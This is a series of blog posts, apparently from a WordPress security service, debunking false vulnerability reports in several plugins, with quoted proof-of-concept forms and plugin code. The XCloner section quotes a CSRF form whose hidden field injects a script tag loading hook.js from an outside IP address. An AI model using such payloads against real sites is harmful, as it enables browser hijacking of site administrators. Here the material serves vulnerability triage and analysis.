21 Nov

False Vulnerability Report: Cross Site Request Forgery / Cross Site Scripting in MailChimp for WordPress 4.0.7

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

There seem to be a variety of causes for false reports of vulnerabilities in WordPress plugins, including lack of proper testing of possible vulnerabilities, intentional false reports, and what seems to be the cause of lot of them, the reporter not really understanding what the vulnerability would actually involve. No matter how obvious it is that they are false, these reports often get presented along side legitimate reports, that includes in WordPress security plugins, as we were just discussing when it comes to one plugin earlier today.

The false report of a claimed cross-site request forgery (CSRF)/cross-site scripting vulnerability in MailChimp for WordPress version 4.0.7 looks to fall in the category of the reporter not knowing what the vulnerability would actually involve.

To protect against cross-site request forgery in WordPress a nonce is used. So if a relevant request can be made without a nonce being provided in the request or with out a valid nonce, there is a vulnerability. Here is the beginning of the proof of concept for the claimed vulnerability:

<form action="http://localhost/wp/wp-admin/admin.php?page=mailchimp-for-wp-forms&view=edit-form&form_id=60" method="POST">


Title:<input type="text" name="mc4wp_form[name]" size="30" value="For Testing" id="title" spellcheck="true" autocomplete="off" placeholder="Enter the title of your sign-up form" style="line-height: initial;" >
<input type="submit" style="display: none; " />
<input type="hidden" name="_mc4wp_action" value="edit_form" />
<input type="hidden" name="mc4wp_form_id" value="60" />
<input type="hidden" id="_mc4wp_nonce" name="_mc4wp_nonce" value="ad1a3e81af" />

The lasts line is the nonce and it looks like a valid one (as opposed to a placeholder, if the plugin’s code didn’t actual check to see if the nonce value is valid). A valid value only works with the particular website and user, so a proof of concept showing that indicates that the person behind the report doesn’t understand this type of vulnerability when it comes to WordPress. Just to be sure we checked and found that when submitting the request that is supposed to be vulnerable, with either no nonce or and invalid one the plugin properly recognizes the situation and does not permit the request. Therefore there is no vulnerability.

14 Oct

False Vulnerability Report: Cross Site Request Forgery / Cross Site Scripting in Newsletter 4.6.0

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

Yesterday a report of a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in version 4.6.0 of the Newsletter plugin was released. The changelog noted a security fix in the version it was supposed to have been fixed in, but the wording seemed to downplay the claimed issue, as it said “Fixed a security issue on admin side only exploitable by logged in admins”. A cross-site request forgery vulnerability involves getting someone else to access a URL that causes them to send a request to their website, so if the vulnerability had existed, to say that it was only “exploitable by logged in admins” would have been true, but misleading, since it would not have required them to be trying to exploit the vulnerability. But as we quickly found, the misleading part was describing it as a security issue.

The report claimed that the issue was on one plugin’s setting pages, /wp-admin/admin.php?page=newsletter_subscription_lists. When we installed version 4.6.0 of the plugin and visited the page we found that the page contained nonce input in the form that was supposed to have the cross-site request forgery issue. So either the nonce was not being properly checked when the request was submitted or the report was false. A quick checked showed that when an invalid nonce or no nonce was include the request was properly rejected.

A closer look at the report showed that the proof of concept for exploiting this included a nonce as the second input:

act=save&btn=&_wpnonce=7cad5407b5

So the person reporting this must not have understood that what that was and that its presence meant that cross-site request forgery was not possible and therefore no vulnerability. The changes made in version 4.6.1, which they claimed fix this, confirm that, as no changes were made related to CSRF protection. The changes instead related to escaping some values, but as the settings page is only accessible by Administrators and they normally have the unfiltered_html capability, their use of the equivalent of cross-site scripting would normally be permitted, so the issue would be better described as a bug.

15 Aug

False Vulnerability Report: WP Job Manager Arbitrary File Upload Vulnerability

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

Sometimes false reports of vulnerabilities are fairly easy to identify as likely being false without having to dig in to things, when the supposed proof of the vulnerability doesn’t match with what you should see with exploitation of a vulnerability. That was the case with a recent claim of an arbitrary file upload vulnerability in the WP Job Manager plugin. While an arbitrary file upload vulnerability allows any type of file to be uploaded, hence the name, hackers would normally use it to upload .php files. In this case those examples involved uploading .txt files. Also missing from the advisory was any information on the underlying code handling uploads, which if shown would have shown that the report was false.

The vulnerability was supposed to exist in the ability to upload a logo when creating a job posting through the plugin. If you try to upload a .php file through that you will get back error message that says:

Invalid file type. Accepted types: jpg|jpeg|gif|png

This is due to the JavaScript code that restricts the type of files that can be uploaded to the ones listing defined in the data-file_types attribute of the input (the JavaScript code that causes this is located in the file /assets/js/ajax-file-upload.min.js):

<input type="file" class="input-text wp-job-manager-file-upload" data-file_types="jpg|jpeg|gif|png"  name="company_logo" id="company_logo" placeholder="" />

So you are only intended to be able to upload jpg, jpeg, gif, or png files through that. Since the checking is done in JavaScript, which runs on the client side, an attacker could just disable that code, so it doesn’t provide actual protection.

With that code disabled, uploading a .php file will cause the following message to be returned instead:

Uploaded files need to be one of the following file types: jpg|jpeg|jpe, gif, png, bmp, tiff|tif, ico, asf|asx, wmv, wmx, wm, avi, divx, flv, mov|qt, mpeg|mpg|mpe, mp4|m4v, ogv, webm, mkv, 3gp|3gpp, 3g2|3gp2, txt|asc|c|cc|h|srt, csv, tsv, ics, rtx, css, htm|html, vtt, dfxp, mp3|m4a|m4b, ra|ram, wav, ogg|oga, mid|midi, wma, wax, mka, rtf, js, pdf, class, tar, zip, gz|gzip, rar, 7z, psd, xcf, doc, pot|pps|ppt, wri, xla|xls|xlt|xlw, mdb, mpp, docx, docm, dotx, dotm, xlsx, xlsm, xlsb, xltx, xltm, xlam, pptx, pptm, ppsx, ppsm, potx, potm, ppam, sldx, sldm, onetoc|onetoc2|onetmp|onepkg, oxps, xps, odt, odp, ods, odg, odc, odb, odf, wp|wpd, key, numbers, pages

That message comes from the job_manager_upload_file() function in the file /wp-job-manager-functions.php. The message is due to a check to see if the file that is submitted for upload has an allowed mime type:

690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
function job_manager_upload_file( $file, $args = array() ) {
	global $job_manager_upload, $job_manager_uploading_file;
 
	include_once( ABSPATH . 'wp-admin/includes/file.php' );
	include_once( ABSPATH . 'wp-admin/includes/media.php' );
 
	$args = wp_parse_args( $args, array(
		'file_key'           =&gt; '',
		'file_label'         =&gt; '',
		'allowed_mime_types' =&gt; get_allowed_mime_types()
	) );
 
	$job_manager_upload         = true;
	$job_manager_uploading_file = $args['file_key'];
	$uploaded_file              = new stdClass();
 
	if ( ! in_array( $file['type'], $args['allowed_mime_types'] ) ) {
		if ( $args['file_label'] ) {
			return new WP_Error( 'upload', sprintf( __( '"%s" (filetype %s) needs to be one of the following file types: %s', 'wp-job-manager' ), $args['file_label'], $file['type'], implode( ', ', array_keys( $args['allowed_mime_types'] ) ) ) );
		} else {
			return new WP_Error( 'upload', sprintf( __( 'Uploaded files need to be one of the following file types: %s', 'wp-job-manager' ), implode( ', ', array_keys( $args['allowed_mime_types'] ) ) ) );

The allowed mime types come from the WordPress function get_allowed_mime_types(), which is located in the file /wp-include/functions.php. That in turn gathers a list of mime types from the function wp_get_mime_type() in the same file, which is where the list of file types show in the message that starts “Uploaded files need to be one of the following file types:” comes from.

Since the types of files that can be upload is limited the arbitrary file upload vulnerability does not exist. That still leaves the issue that someone can upload a lot more types of files than are actually intended for the logo, so depending on what else is intended to uploadable through plugin, the developer may want to place additional restrictions in the PHP portion of the code on what can be uploaded.

01 Aug

False Vulnerability Report: Self XSS Vulnerability in Yoast SEO 3.3.2

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a self XSS vulnerability in Yoast SEO.

When we ran across this one we were not even familiar with what a self XSS was. As defined by the Wikipedia it is a “a social engineering attack used to gain control of victims’ web accounts” that “operates by tricking users into copying and pasting malicious content into their browsers’ web developer console“. That doesn’t apply to a WordPress plugin vulnerability, so it seems that Netsparker was referring to cross-site scripting (XSS) done by the victim.  That would be a social engineering attack, not a vulnerability, so calling the issue a vulnerability really doesn’t make much sense.

It gets more problematic in this case since when we went to look into where this vulnerability was supposed to be, we found the claimed vulnerability involves the plugin’s “Bulk editor” tool, which is only available to Administrator level users. Those users would normally have the unfiltered_html capability, which permits them to use the equivalent of cross-site scripting, so it isn’t a vulnerability for them to be able to do cross-site scripting. And if you can social engineer them to insert malicious code like this, you should be able to get them to do that in a post or page, so by the same token WordPress itself would be vulnerable, if this was a vulnerability.  Beyond that, you always do the equivalent of this through the more common meaning of self XSS by the malicious content to the “web developer console”, so trying to claim this as a vulnerability is just odd.

Also, if you were trying to socially engineer a WordPress Administrator it seems like there would be much more effective things to try, like say getting them to installed a plugin with security vulnerability.

While this isn’t a vulnerability, it could be considered a bug. The Yoast SEO developers seem to be of the same mind on that, seeing as the changelog for the new version that is supposed to have fixed this vulnerability, they were refer to it as a “bugfix” and state:

Fixes a bug where changing the title in the bulk editor could be used to trigger JavaScript for the current user.

29 Jul

False Vulnerability Report: Multiple Stored XSS Vulnerability in Clicky by Yoast 1.4.3

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a multiple persistent cross-site scripting (XSS) vulnerabilities in Clicky by Yoast.

Right off the bat something looked wrong here, the URL in the proof of concept to exploit the claimed vulnerability, /wordpress/wp-admin/options-general.php?page=clicky, is only accessible by Administrator level users. Seeing as they would normally have the unfiltered_html capability, which permits them to use the equivalent of cross-site scripting, this would seem to not be a vulnerability on its own. If there was a cross-site request forgery (CSRF) vulnerability in saving the plugin’s settings, then there could still be an issue by using that to allow the persistent XSS that is supposed to exist in that code to be exploited.

The settings are saved in the function config_page() in the file /click.php, in the claimed vulnerable version, 1.4.3, there is proper protection against CSRF is in place:

233
234
235
236
237
238
239
240
function config_page() {
	$options = clicky_get_options();
 
	if ( isset( $_POST['submit'] ) ) {
		if ( ! current_user_can( 'manage_options' ) ) {
			die( __( 'You cannot edit the Clicky settings.', 'clicky' ) );
		}
		check_admin_referer( 'clicky-config' );

What comes right after that in the code makes it harder to understand where the claim that there was a vulnerability could have come from, as all of the supposedly vulnerable inputs are run through the sanitize_text_field() function when their value is brought in to the plugin:

242
243
244
245
246
247
248
		foreach ( array( 'site_id', 'site_key', 'admin_site_key', 'outbound_pattern' ) as $option_name ) {
			if ( isset( $_POST[ $option_name ] ) ) {
				$options[ $option_name ] = sanitize_text_field( $_POST[ $option_name ] );
			} else {
				$options[ $option_name ] = '';
			}
		}

Netsparker doesn’t provide any information on why they think that doesn’t properly sanitize them in this case, which would be important to know for other situations where the other restrictions in place here are not in place.

29 Jul

False Vulnerability Report: Reflected XSS Vulnerability in WP-Polls 2.73

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a reflected cross-site scripting (XSS) vulnerability in WP-Polls.

Very little information was provided with the advisory, so to get a better idea of what was going on, we looked at changes made in version 2.73.1, which was supposed to have fixed this.

In the file /polls-options.php, the code that brings the POST input “poll_bar_style”, which was supposed to be the vulnerable input, in to the plugin has been changed.

It looks like this in 2.73:

34
$poll_bar_style = strip_tags(trim($_POST['poll_bar_style']));

And this in 2.73.1

49
$poll_bar_style             = isset( $_POST['poll_bar_style'] ) &amp;&amp; in_array( $_POST['poll_bar_style'], array_merge( array_keys( $poll_bars ), array( 'use_css' ) ) ) ? $_POST['poll_bar_style'] : 'default';

So the code has been changed to restrict what can be set at the value, the previous code had the possibility of leading to reflected XSS depending on how the rest of the code works.

Looking up just one line in the code though shows that their is no reflected XSS possible though, because in 2.73, which was supposed to be vulnerable, you need to provide a valid nonce with the request that would lead to the possibility of reflected XSS:

check_admin_referer('wp-polls_options');

Since an attacker would not have access to a valid nonce for someone else, there is no possibility of causing someone else to send a valid request where the POST input “poll_bar_style” is displayed, so there is no reflected cross-site scripting (XSS) vulnerability. Restricting what can be input for the POST input “poll_bar_style”, as was done by the plugin’s developer in 2.73.1, is still a good idea as it provides extra protection against the possibly of some future issue.

28 Jul

False Vulnerability Report: Stored XSS in XCloner

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

One of the problems in determining if a report of a vulnerability in a plugin is real or not, is that sometimes a developer will make changes to the plugin based on a report even if there is not a vulnerability. In one past case that involved this the developer added duplicative sanitization to a plugin. In the case of a report of a stored XSS (or what we refer to a persistent cross-site scripting (XSS)) vulnerability in the plugin XCloner, the developer added sanitization code that isn’t duplicative, but doesn’t fix a security vulnerability.

In versions prior to 3.1.5 of the plugin, it was possible to insert html tags in settings fields, so that JavaScript code could be added to them and run. Depending on how and who could do that could be a persistent cross-site (XSS) vulnerability. In this case, the advisory indicated that they would be saved on admin page in WordPress. Since the relevant page, is only accessible by Administrator level users, that in itself wouldn’t be a vulnerability since they have they normally unfiltered_html capability, which allows them to do the equivalent of XSS. Since the settings were not intended to be able to output JavaScript code, it could be considered a bug though. There still could be a security vulnerability if the saving of settings is susceptible to cross-site request forgery (CSRF), which causes someone’s web browser to take action on a website that they did not intend.

The proof of concept provided with the report seem to indicate that was the case, seeing as you protect against CSRF with a nonce and there was no nonce include in it:

     <html>
         <form 
action="http://<target>/wordpress/wp-admin/plugins.php?page=xcloner_show&option=com_cloner&task=config" 
method="post">
             <input type="hidden" name="cron_bname" 
value="1%22%3E%3Cscript+src%3Dhttp%3A%2F%2F172.16.146.128%3A3000%2Fhook.js+on" 
/>
             <input type="submit" name="submit">
         </form>
     </html>

Looking at the changes made in the version they reported fixed the issue, there was no changes related to a nonce checking, which left open the possibility there was still an unfixed CSRF vulnerability in the plugin.

When we tested out the proof of concept, we found it didn’t work. A quick look at the code showed why, there was in fact the CSRF protection in the function config(), which handles saving the settings:

132
133
134
135
136
137
138
139
140
141
142
function config($option)
{
  global $mosConfig_absolute_path, $_CONFIG, $config_file;
 
 
  if (@$_REQUEST['action'] == 'save') {
 
	  if ( empty($_POST) || !wp_verify_nonce($_POST['csrf'],'save') ){
		print 'Sorry, your nonce did not verify.';
		exit;
	  }

Without a cross-site request forgery (CSRF) vulnerability existing, there wasn’t a vulnerability that had existed in older versions, just a bug.

12 Jul

False Vulnerability Report: WP-DownloadManager Arbitrary File Upload Vulnerability

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

One thing we frequently see coming up with false reports of vulnerabilities is people not understanding that certain activities are not always a vulnerability. One serious type of vulnerability is an arbitrary file upload vulnerability, which allows someone to upload any file. That could be used to upload a .php file with malicious code and then do basically anything with the website. In WordPress an Administrator level user would normally have the equivalent capability since the can upload new plugins and themes, so it wouldn’t be a vulnerability for a plugin to allow them to do the same.

That brings to a report claiming there is an arbitrary file upload vulnerability in the plugin WP-DownloadManager. The proof of concept for this says “Unrestricted File Upload In Admin Panel You Can Upload shell.php” and indicates the page to visit for this is http://localhost/wp/wp-admin/admin.php?page=wp-downloadmanager/download-add.php. A quick checked showed that this page is only accessible by Administrator level users, for which this wouldn’t be a vulnerability.

To get more technical, access to that page is restricted to users that have “manage_downloads” capability, as seen in the file /wp-downloadmanager.php:

53
add_submenu_page('wp-downloadmanager/download-manager.php', __('Add File', 'wp-downloadmanager'), __('Add File', 'wp-downloadmanager'), 'manage_downloads', 'wp-downloadmanager/download-add.php');

The “manage_downloads” capability is adding to Administrator role later in the file:

1587
1588
1589
1590
1591
// Set 'manage_downloads' Capabilities To Administrator
$role = get_role('administrator');
if(!$role-&gt;has_cap('manage_downloads')) {
	$role-&gt;add_cap('manage_downloads');
}

The page also proper utilizes a nonce, so cross-site request forgery (CSRF) is not possible on that page.

23 May

False Vulnerability Report: CKEditor 4.0 Arbitrary File Upload Exploit

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

We have recently had requests for a file in the plugin CKEditor for WordPress on one of our websites as part of a series of requests that seem to be looking for use of plugins, likely to then try to exploit them. We couldn’t find any valid reports of vulnerabilities in this plugin, but we did find one false report of a vulnerability that clearly has continued to confuse some people into believing it was real long after its release.

The report from February of 2013 is titled CKEditor 4.0 Arbitrary File Upload Exploit and includes code that is described as allowing to “upload a shell to compromise the system” through the plugin. If take a look at this for a second it becomes clear it is false. The code has you send a request to the file/includes/upload.php in the plugin. If you do that in version 4.0 you will received the following error message

Fatal error: Call to undefined function _e() in [server location]/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php on line 3

Looking at the first three lines of code in the file you can see what is going on:

1
2
3
<div class="wrap">
	<div id="icon-wp-ckeditor" class="icon32"><br /></div>
	<h2><?php _e('CKEditor - Upload Settings', 'ckeditor_wordpress') ?></h2>

The first two are just HTML code and third uses the function _e(), which is part of WordPress, so when accessing this file directory that won’t exist. That leads to the error, so this could not possibly work.

In version 4.5.3.2 code was added to the beginning of the file that stops direct access to the file:

1
<?php if ( !defined('ABSPATH')){ exit; } // Exit if accessed directly

Going back to version 1.0 the third line has contained the use of the e_() function, so sending a request directly to the file could never had worked.

The other major problem with this is that the file /includes/upload.php doesn’t process uploads at all, instead it contains the code for displaying the Upload Options settings page for the plugin. So we have no idea why someone though this would possibly allow uploading files.

A GitHub Project and the WPScan Vulnerability Database

Somehow all of that didn’t stop from someone from creating a project on Github to exploit the non-existent vulnerability last year. No surprisingly the part where the code to exploit vulnerability would be, it states that “This part is not ready”:

 #TODO: This part is not ready.
 files = {'NewFile': open(file_to_upload, 'rb')}
 r = requests.post(("%s/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php" % website), files=files)
 print r.text

The vulnerability is also listed in WPScan Vulnerability Database despite not actually existing, which is yet another reminder of the pretty serious accuracy issues with their data:

wpscan-vulnerability-database-false-report